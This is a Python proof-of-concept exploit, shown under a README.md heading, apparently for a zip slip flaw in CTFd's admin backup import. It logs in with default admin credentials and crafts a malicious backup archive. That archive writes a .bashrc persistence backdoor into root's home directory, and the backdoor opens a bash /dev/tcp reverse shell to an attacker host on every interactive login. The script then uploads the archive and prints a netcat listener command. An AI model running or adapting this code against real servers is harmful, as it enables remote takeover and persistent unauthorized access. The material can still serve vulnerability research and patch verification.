README.md
Rendering markdown...
from time import sleep
import requests
import re
import zipfile
import shutil
from pathlib import Path
from textwrap import dedent
_DEBUG_ = True
_PROXY_ = 'http://127.0.0.1:8080'
_RHOST_ = 'http://localhost:8000'
CTFD_ADMIN_USERNAME = "admin"
CTFD_ADMIN_PASSWORD = "admin"
ATTACKER_IP = "host.docker.internal" # Change to your actual IP if not using Docker
ATTACKER_PORT = 4444
def get_proxies():
return {"http": _PROXY_} if _DEBUG_ else {}
def login():
session = requests.Session()
session.proxies.update(get_proxies())
request_getloginnonce = session.get(_RHOST_ + "/login")
nonce_regex = r'id="nonce".*value="(.*)">'
noncevalue = re.findall(nonce_regex, request_getloginnonce.text)[0]
request_login = session.post(_RHOST_ + "/login", data={"name":CTFD_ADMIN_USERNAME,"password":CTFD_ADMIN_PASSWORD,"_submit":"submit","nonce":noncevalue})
if (request_login.status_code == 200) and ("/admin" in request_login.text):
print("[+] Login successful")
return session
def export_ctfd_baseline(session):
response = session.get(_RHOST_ + "/admin/export")
if response.status_code != 200:
print(f"[-] Error: HTTP {response.status_code}")
return
with open("ctfd_backup.zip", "wb") as f:
f.write(response.content)
print("[+] Backup saved to ctfd_backup.zip")
def extract_backup(zip_path: str, extract_dir: str = "backup_extracted"):
"""Extract CTFd backup zip file"""
Path(extract_dir).mkdir(exist_ok=True)
with zipfile.ZipFile(zip_path, 'r') as z:
z.extractall(extract_dir)
print(f"[+] Extracted to {extract_dir}/")
return extract_dir
def add_folder_to_zip(z: zipfile.ZipFile, folder: Path, arc_prefix: str):
"""Add entire folder to zip preserving structure"""
folder = folder.resolve()
count = 0
for p in sorted(folder.rglob("*")):
if p.is_file():
rel = p.relative_to(folder).as_posix()
arcname = f"{arc_prefix.rstrip('/')}/{rel}".lstrip("/")
z.write(p, arcname)
count += 1
return count
def create_bashrc_payload(attacker_ip: str, attacker_port: int) -> str:
"""
Persistence payload for .bashrc
Executes reverse shell in background on every interactive login
"""
return dedent(f'''
# ============================================================================
# CVE-2026-30345 - Persistence Backdoor
# ============================================================================
# This was injected via CTFd zip slip vulnerability
# Triggers on every interactive shell session
# ============================================================================
if [ -n "$PS1" ]; then
# Interactive shell detected - launch background reverse shell
(bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1 &) 2>/dev/null
# Log successful execution
echo "[$(date)] CVE-2026-30345 backdoor executed" >> /tmp/.cve_2026_30345.log
fi
# ============================================================================
''').strip()
def create_zipslip_payload(db_dir: str, attacker_ip: str, attacker_port: int, target_user: str = "root", output: str = "malicious_backup.zip"):
"""Create malicious backup with zip slip payload"""
db_path = Path(db_dir)
if not db_path.exists():
print(f"[-] Error: db directory not found: {db_dir}")
return None
if not (db_path / "alembic_version.json").exists():
print(f"[-] Error: No alembic_version.json in {db_dir}")
return None
bashrc = create_bashrc_payload(attacker_ip, attacker_port)
bypass_path = f"uploads//{target_user}/.bashrc"
with zipfile.ZipFile(output, "w", compression=zipfile.ZIP_DEFLATED) as z:
add_folder_to_zip(z, db_path, "db")
z.writestr(bypass_path, bashrc.encode('utf-8'))
print(f"[+] Malicious backup created: {output}")
return output
def upload_malicious_backup(session, zip_file: str = "malicious_backup.zip"):
"""Upload malicious backup to CTFd"""
if not Path(zip_file).exists():
print(f"[-] Error: {zip_file} not found")
return False
# Get nonce from import page
response = session.get(_RHOST_ + "/admin/config", proxies=get_proxies())
nonce_regex = r'id="nonce".*value="(.*)">'
nonce = re.findall(nonce_regex, response.text)
if not nonce:
print(f"[-] Error: Could not extract nonce")
return False
nonce = nonce[0]
with open(zip_file, "rb") as f:
files = {"backup": f}
data = {"nonce": nonce}
response = session.post(_RHOST_ + "/admin/import", files=files, data=data, proxies = get_proxies())
if response.status_code == 200:
print(f"[+] Malicious backup uploaded successfully")
return True
else:
print(f"[-] Upload failed: HTTP {response.status_code}")
return False
def cleanup(extract_dir: str = "backup_extracted"):
"""Clean up extracted files"""
shutil.rmtree(extract_dir, ignore_errors=True)
if __name__ == '__main__':
session = login()
export_ctfd_baseline(session)
extracted_dir = extract_backup("ctfd_backup.zip")
create_zipslip_payload(
db_dir=f"{extracted_dir}/db",
attacker_ip=ATTACKER_IP,
attacker_port=ATTACKER_PORT,
target_user="root",
output="malicious_backup.zip"
)
upload_malicious_backup(session, "malicious_backup.zip")
cleanup(extracted_dir)
sleep(30) # Wait for CTFd to process the backup and trigger the payload
print(f"\n[+] Exploit complete! Start listener: nc -lvnp {ATTACKER_PORT}")